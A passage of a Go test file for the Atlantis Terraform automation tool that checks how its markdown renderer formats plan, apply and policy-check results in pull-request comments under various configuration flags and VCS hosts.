c.SubCommand, Verbose: verbose, } s := r.Render(ctx, res, cmd) if !verbose { Equals(t, normalize(c.Expected), normalize(s)) } else { log := fmt.Sprintf("[INFO] %s", logText) Equals(t, normalize(c.Expected+ fmt.Sprintf("
Log\n

\n\n```\n%s\n```\n

", log)), normalize(s)) } }) } }) } } func TestRenderProjectResultsWithQuietPolicyChecks(t *testing.T) { cases := []struct { Description string Command command.Name SubCommand string ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { "single successful policy check with multiple policy sets and project name", command.PolicyCheck, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: `FAIL - - main - WARNING: Null Resource creation is prohibited. 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`, Passed: false, ReqApprovals: 1, }, { PolicySetName: "policy2", PolicyOutput: "2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions", Passed: true, ReqApprovals: 1, }, }, LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$ #### Policy Set: $policy1$ $$$diff FAIL - - main - WARNING: Null Resource creation is prohibited. 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions $$$ #### Policy Set: $policy2$ $$$diff 2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions $$$ #### Policy Approval Status: $$$ policy set: policy1: requires: 1 approval(s), have: 0. policy set: policy2: passed. $$$ * :heavy_check_mark: To **approve** this project, comment: $$$shell $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan -d path -w workspace $$$ --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "single successful policy check with project name", command.PolicyCheck, "", []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", // strings.Repeat require to get wrapped result PolicyOutput: strings.Repeat("line\n", 13) + `FAIL - - main - WARNING: Null Resource creation is prohibited. 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`, Passed: false, ReqApprovals: 1, }, }, LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$
Show Output #### Policy Set: $policy1$ $$$diff line line line line line line line line line line line line line FAIL - - main - WARNING: Null Resource creation is prohibited. 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions $$$
#### Policy Approval Status: $$$ policy set: policy1: requires: 1 approval(s), have: 0. $$$ * :heavy_check_mark: To **approve** this project, comment: $$$shell $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan -d path -w workspace $$$ $$$ policy set: policy1: 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions $$$ --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "multiple successful policy checks", command.PolicyCheck, "", []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", Passed: true, }, }, LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", Passed: true, }, }, LockURL: "lock-url2", ApplyCmd: "atlantis apply -d path2 -w workspace", RePlanCmd: "atlantis plan -d path2 -w workspace", }, }, }, }, models.Github, ` Ran Policy Check for 2 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ `, }, { "successful, failed, and errored policy check", command.PolicyCheck, "", []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", Passed: true, }, }, LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "failure", PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions", Passed: false, ReqApprovals: 1, }, }, LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path3", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New("error"), }, }, }, models.Github, ` Ran Policy Check for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. project: $projectname$ dir: $path3$ workspace: $workspace$ --- ### 2. dir: $path2$ workspace: $workspace$ **Policy Check Failed**: failure #### Policy Set: $policy1$ $$$diff 4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions $$$ #### Policy Approval Status: $$$ policy set: policy1: requires: 1 approval(s), have: 0. $$$ * :heavy_check_mark: To **approve** this project, comment: $$$shell $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan -d path -w workspace $$$ --- ### 3. project: $projectname$ dir: $path3$ workspace: $workspace$ **Policy Check Error** $$$ error $$$ --- * :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: $$$shell atlantis approve_policies $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: $$$shell atlantis unlock $$$ * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan $$$ `, }, } r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments true, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { cmd := &events.CommentCommand{ Name: c.Command, SubName: c.SubCommand, Verbose: verbose, } s := r.Render(ctx, res, cmd) if !verbose { Equals(t, normalize(c.Expected), normalize(s)) } else { log := fmt.Sprintf("[INFO] %s", logText) Equals(t, normalize(c.Expected+ fmt.Sprintf("
Log\n

\n\n```\n%s\n```\n

", log)), normalize(s)) } }) } }) } } // Test that if disable apply all is set then the apply all footer is not added func TestRenderProjectResultsDisableApplyAll(t *testing.T) { cases := []struct { Description string Command command.Name ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { "single successful plan with disable apply all set", command.Plan, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ `, }, { "single successful plan with project name with disable apply all set", command.Plan, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ `, }, { "multiple successful plans, disable apply all set", command.Plan, []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output2", LockURL: "lock-url2", ApplyCmd: "atlantis apply -d path2 -w workspace", RePlanCmd: "atlantis plan -d path2 -w workspace", }, }, }, }, models.Github, ` Ran Plan for 2 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- ### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ $$$diff terraform-output2 $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path2 -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path2 -w workspace $$$ --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed `, }, } r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark true, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { cmd := &events.CommentCommand{ Name: c.Command, Verbose: verbose, } s := r.Render(ctx, res, cmd) if !verbose { Equals(t, normalize(c.Expected), normalize(s)) } else { log := fmt.Sprintf("[INFO] %s", logText) Equals(t, normalize(c.Expected)+ fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log), normalize(s)) } }) } }) } } // Test that if disable apply is set then the apply footer is not added func TestRenderProjectResultsDisableApply(t *testing.T) { cases := []struct { Description string Command command.Name ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { "single successful plan with disable apply set", command.Plan, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", }, }, models.Github, ` Ran Plan for dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ `, }, { "single successful plan with project name with disable apply set", command.Plan, []command.ProjectResult{ { ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", RePlanCmd: "atlantis plan -d path -w workspace", ApplyCmd: "atlantis apply -d path -w workspace", }, }, Workspace: "workspace", RepoRelDir: "path", ProjectName: "projectname", }, }, models.Github, ` Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ `, }, { "multiple successful plans, disable apply set", command.Plan, []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, { Workspace: "workspace", RepoRelDir: "path2", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output2", LockURL: "lock-url2", ApplyCmd: "atlantis apply -d path2 -w workspace", RePlanCmd: "atlantis plan -d path2 -w workspace", }, }, }, }, models.Github, ` Ran Plan for 2 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ --- ### 1. dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path -w workspace $$$ --- ### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ $$$diff terraform-output2 $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2) * :repeat: To **plan** this project again, comment: $$$shell atlantis plan -d path2 -w workspace $$$ --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed `, }, } r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark true, // disableApplyAll true, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { cmd := &events.CommentCommand{ Name: c.Command, Verbose: verbose, } s := r.Render(ctx, res, cmd) if !verbose { Equals(t, normalize(c.Expected), normalize(s)) } else { log := fmt.Sprintf("[INFO] %s", logText) Equals(t, normalize(c.Expected)+ fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log), normalize(s)) } }) } }) } } // Run policy check with a custom template to validate custom template rendering. func TestRenderCustomPolicyCheckTemplate_DisableApplyAll(t *testing.T) { var exp string tmpDir := t.TempDir() filePath := fmt.Sprintf("%s/templates.tmpl", tmpDir) _, err := os.Create(filePath) Ok(t, err) err = os.WriteFile(filePath, []byte("{{ define \"PolicyCheckResultsUnwrapped\" -}}somecustometext{{- end}}\n"), 0600) Ok(t, err) r := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark true, // disableApplyAll true, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat tmpDir, // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } res := command.Result{ ProjectResults: []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", Passed: true, }, }, LockURL: "lock-url", ApplyCmd: "atlantis apply -d path -w workspace", RePlanCmd: "atlantis plan -d path -w workspace", }, }, }, }, } cmd := &events.CommentCommand{ Name: command.PolicyCheck, Verbose: false, } rendered := r.Render(ctx, res, cmd) exp = ` Ran Policy Check for dir: $path$ workspace: $workspace$ #### Policy Set: $policy1$ $$$diff 4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell atlantis apply -d path -w workspace $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To re-run policies **plan** this project again by commenting: $$$shell atlantis plan -d path -w workspace $$$ ` Equals(t, normalize(exp), normalize(rendered)) } // Test that if folding is disabled that it's not used. func TestRenderProjectResults_DisableFolding(t *testing.T) { mr := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply true, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } res := command.Result{ ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New(strings.Repeat("line\n", 13)), }, }, }, } cmd := &events.CommentCommand{ Name: command.Plan, Verbose: false, } rendered := mr.Render(ctx, res, cmd) Equals(t, false, strings.Contains(rendered, "\n
")) } // Test that if the output is longer than 12 lines, it gets wrapped on the right // VCS hosts during an error. func TestRenderProjectResults_WrappedErr(t *testing.T) { cases := []struct { VCSHost models.VCSHostType GitlabCommonMarkSupport bool Output string ShouldWrap bool }{ { VCSHost: models.Github, Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.Github, Output: strings.Repeat("line\n", 13), ShouldWrap: true, }, { VCSHost: models.Gitlab, GitlabCommonMarkSupport: false, Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.Gitlab, GitlabCommonMarkSupport: false, Output: strings.Repeat("line\n", 13), ShouldWrap: false, }, { VCSHost: models.Gitlab, GitlabCommonMarkSupport: true, Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.Gitlab, GitlabCommonMarkSupport: true, Output: strings.Repeat("line\n", 13), ShouldWrap: true, }, { VCSHost: models.BitbucketCloud, Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.BitbucketCloud, Output: strings.Repeat("line\n", 13), ShouldWrap: false, }, { VCSHost: models.BitbucketServer, Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.BitbucketServer, Output: strings.Repeat("line\n", 13), ShouldWrap: false, }, } for _, c := range cases { t.Run(fmt.Sprintf("%s_%v", c.VCSHost.String(), c.ShouldWrap), func(t *testing.T) { mr := events.NewMarkdownRenderer( c.GitlabCommonMarkSupport, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: c.VCSHost, }, }, }, } res := command.Result{ ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Error: errors.New(c.Output), }, }, }, } cmd := &events.CommentCommand{ Name: command.Plan, Verbose: false, } rendered := mr.Render(ctx, res, cmd) var exp string if c.ShouldWrap { exp = ` Ran Plan for dir: $.$ workspace: $default$ **Plan Error**
Show Output $$$ ` + c.Output + ` $$$
` } else { exp = `Ran Plan for dir: $.$ workspace: $default$ **Plan Error** $$$ ` + c.Output + ` $$$ ` } Equals(t, normalize(exp), normalize(rendered)) }) } } // Test that if the output is longer than 12 lines, it gets wrapped on the right // VCS hosts for a single project. func TestRenderProjectResults_WrapSingleProject(t *testing.T) { cases := []struct { VCSHost models.VCSHostType VcsRequestType string GitlabCommonMarkSupport bool Output string ShouldWrap bool }{ { VCSHost: models.Github, VcsRequestType: "Pull Request", Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.Github, VcsRequestType: "Pull Request", Output: strings.Repeat("line\n", 13) + "No changes. Infrastructure is up-to-date.", ShouldWrap: true, }, { VCSHost: models.Gitlab, VcsRequestType: "Merge Request", GitlabCommonMarkSupport: false, Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.Gitlab, VcsRequestType: "Merge Request", GitlabCommonMarkSupport: false, Output: strings.Repeat("line\n", 13), ShouldWrap: false, }, { VCSHost: models.Gitlab, VcsRequestType: "Merge Request", GitlabCommonMarkSupport: true, Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.Gitlab, VcsRequestType: "Merge Request", GitlabCommonMarkSupport: true, Output: strings.Repeat("line\n", 13) + "No changes. Infrastructure is up-to-date.", ShouldWrap: true, }, { VCSHost: models.BitbucketCloud, VcsRequestType: "Pull Request", Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.BitbucketCloud, VcsRequestType: "Pull Request", Output: strings.Repeat("line\n", 13), ShouldWrap: false, }, { VCSHost: models.BitbucketServer, VcsRequestType: "Pull Request", Output: strings.Repeat("line\n", 1), ShouldWrap: false, }, { VCSHost: models.BitbucketServer, VcsRequestType: "Pull Request", Output: strings.Repeat("line\n", 13), ShouldWrap: false, }, } for _, c := range cases { for _, cmdName := range []command.Name{command.Plan, command.Apply} { t.Run(fmt.Sprintf("%s_%s_%v", c.VCSHost.String(), cmdName.String(), c.ShouldWrap), func(t *testing.T) { mr := events.NewMarkdownRenderer( c.GitlabCommonMarkSupport, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: c.VCSHost, }, }, }, } var pr command.ProjectResult switch cmdName { case command.Plan: pr = command.ProjectResult{ RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: c.Output, LockURL: "lock-url", RePlanCmd: "replancmd", ApplyCmd: "applycmd", }, }, } case command.Apply: pr = command.ProjectResult{ RepoRelDir: ".", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: c.Output, }, } } res := command.Result{ ProjectResults: []command.ProjectResult{pr}, } cmd := &events.CommentCommand{ Name: cmdName, Verbose: false, } rendered := mr.Render(ctx, res, cmd) // Check result. var exp string switch cmdName { case command.Plan: if c.ShouldWrap { exp = ` Ran Plan for dir: $.$ workspace: $default$
Show Output $$$diff ` + strings.TrimSpace(c.Output) + ` $$$
* :arrow_forward: To **apply** this plan, comment: $$$shell applycmd $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell replancmd $$$ No changes. Infrastructure is up-to-date. --- * :fast_forward: To **apply** all unapplied plans from this ` + c.VcsRequestType + `, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this ` + c.VcsRequestType + `, comment: $$$shell atlantis unlock $$$ ` } else { exp = ` Ran Plan for dir: $.$ workspace: $default$ $$$diff ` + strings.TrimSpace(c.Output) + ` $$$ * :arrow_forward: To **apply** this plan, comment: $$$shell applycmd $$$ * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: $$$shell replancmd $$$ --- * :fast_forward: To **apply** all unapplied plans from this ` + c.VcsRequestType + `, comment: $$$shell atlantis apply $$$ * :put_litter_in_its_place: To **delete** all plans and locks from this ` + c.VcsRequestType + `, comment: $$$shell atlantis unlock $$$ ` } case command.Apply: if c.ShouldWrap { exp = ` Ran Apply for dir: $.$ workspace: $default$
Show Output $$$diff ` + strings.TrimSpace(c.Output) + ` $$$
` } else { exp = ` Ran Apply for dir: $.$ workspace: $default$ $$$diff ` + strings.TrimSpace(c.Output) + ` $$$ ` } } Equals(t, normalize(exp), normalize(rendered)) }) } } } func TestRenderProjectResults_MultiProjectApplyWrapped(t *testing.T) { mr := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } tfOut := strings.Repeat("line\n", 13) res := command.Result{ ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: tfOut, }, }, { RepoRelDir: ".", Workspace: "production", ProjectCommandOutput: command.ProjectCommandOutput{ ApplySuccess: tfOut, }, }, }, } cmd := &events.CommentCommand{ Name: command.Apply, Verbose: false, } rendered := mr.Render(ctx, res, cmd) exp := ` Ran Apply for 2 projects: 1. dir: $.$ workspace: $staging$ 1. dir: $.$ workspace: $production$ --- ### 1. dir: $.$ workspace: $staging$
Show Output $$$diff ` + strings.TrimSpace(tfOut) + ` $$$
--- ### 2. dir: $.$ workspace: $production$
Show Output $$$diff ` + strings.TrimSpace(tfOut) + ` $$$
--- ### Apply Summary 2 projects, 2 successful, 0 failed, 0 errored ` Equals(t, normalize(exp), normalize(rendered)) } func TestRenderProjectResults_MultiProjectPlanWrapped(t *testing.T) { mr := events.NewMarkdownRenderer( false, // gitlabSupportsCommonMark false, // disableApplyAll false, // disableApply false, // disableMarkdownFolding false, // disableRepoLocking false, // enableDiffMarkdownFormat "", // markdownTemplateOverridesDir "atlantis", // executableName false, // hideUnchangedPlanComments false, // quietPolicyChecks ) logger := logging.NewNoopLogger(t).WithHistory() logText := "log" logger.Info(logText) ctx := &command.Context{ Log: logger, Pull: models.PullRequest{ BaseRepo: models.Repo{ VCSHost: models.VCSHost{ Type: models.Github, }, }, }, } tfOut := strings.Repeat("line\n", 13) + "Plan: 1 to add, 0 to change, 0 to destroy." res := command.Result{ ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "staging", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: tfOut, LockURL: "staging-lock-url", ApplyCmd: "staging-apply-cmd", RePlanCmd: "staging-replan-cmd", }, }, }, { RepoRelDir: ".", Workspace: "production", ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: tfOut, LockURL: "production-lock-url", ApplyCmd: "production-apply-cmd", RePlanCmd: "production-replan-cmd", }, }, }, }, } cmd := &events.CommentCommand{ Name: command.Plan, Verbose: false, } rendered := mr.Render(ctx, res, cmd) exp := ` Ran Plan for 2 projects: 1. dir: $.$ workspace: $staging$ 1. dir: $.$ workspace: $production$ --- ### 1. dir: $.$ workspace: $staging$
Show Output $$$diff ` + tfOut + ` $$$
